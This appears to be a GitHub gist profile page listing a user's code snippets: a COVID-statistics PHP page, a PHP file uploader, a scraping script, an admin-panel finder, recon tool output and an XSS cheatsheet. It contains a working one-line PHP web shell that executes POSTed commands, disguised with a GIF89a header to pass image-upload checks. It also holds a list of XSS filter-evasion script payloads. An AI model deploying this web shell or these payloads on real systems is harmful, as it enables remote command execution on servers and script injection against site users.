Skip to content

Instantly share code, notes, and snippets.

View abaykan's full-sized avatar
🔘
I don't even know what to write here.

Akbar Kustirama abaykan

🔘
I don't even know what to write here.
View GitHub Profile
<?php
$api = file_get_contents('https://api.kawalcorona.com/');
?>
<table border=1>
<tr>
<th>Country</th>
<th>Confirmed</th>
<th>Deaths</th>
<th>Recovered</th>
<th>Active</th>
<?php
function random($length) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
GIF89a;
<?php passthru($_POST["cmd"]); __halt_compiler(); ?>
@abaykan
abaykan / xss_cheatsheet.md
Created March 5, 2019 15:51
Full List of XSS Cheatsheet
<!-- Source: https://www.openbugbounty.org/blog/ismailtsdln/everything-about-xss-is-in-this-source/ -->

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>

Keybase proof

I hereby claim:

  • I am abaykan on github.
  • I am abaykan (https://keybase.io/abaykan) on keybase.
  • I have a public key whose fingerprint is 4DF4 F9E8 3A36 A66F 5ED7 B39D 926F C2F7 8043 CE7D

To claim this, I am signing this object:

@abaykan
abaykan / upload.txt
Last active January 13, 2021 17:29
PHP Uploader
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<title>UPLOADER</title>
</head>
<body>
<form action="" method="POST" enctype="multipart/form-data">
<input type="text"name="text"/>
<input name="file" type="file" />
@abaykan
abaykan / scrapurl.py
Last active August 25, 2020 16:14
Web Scraping with BeautifulSoup
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Codelatte Team
# https://codelatte.org/
# Usage: python3 scrapurl.py https://yoursite.com/
import sys
import requests
from urllib.request import urlparse, urljoin
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
Usage
--------------
./adfin
Enter Site Name (ex: abaykan.com)
"""
import urllib2,os,sys
@abaykan
abaykan / 53R3N17Y.txt
Last active April 12, 2018 14:52
Output 53R3N17Y
~/tools/53R3N17Y (master*) ▶ serenity -a google.com
_-----_
| | .------------------------.
|--(o)--| | Welcome to 53R3N17Y |
`---------´ | abaykan.com |
( _´U`_ ) '------------------------'
/___A___
| ~ |
__'.___.'__
´ ` |° ´ Y `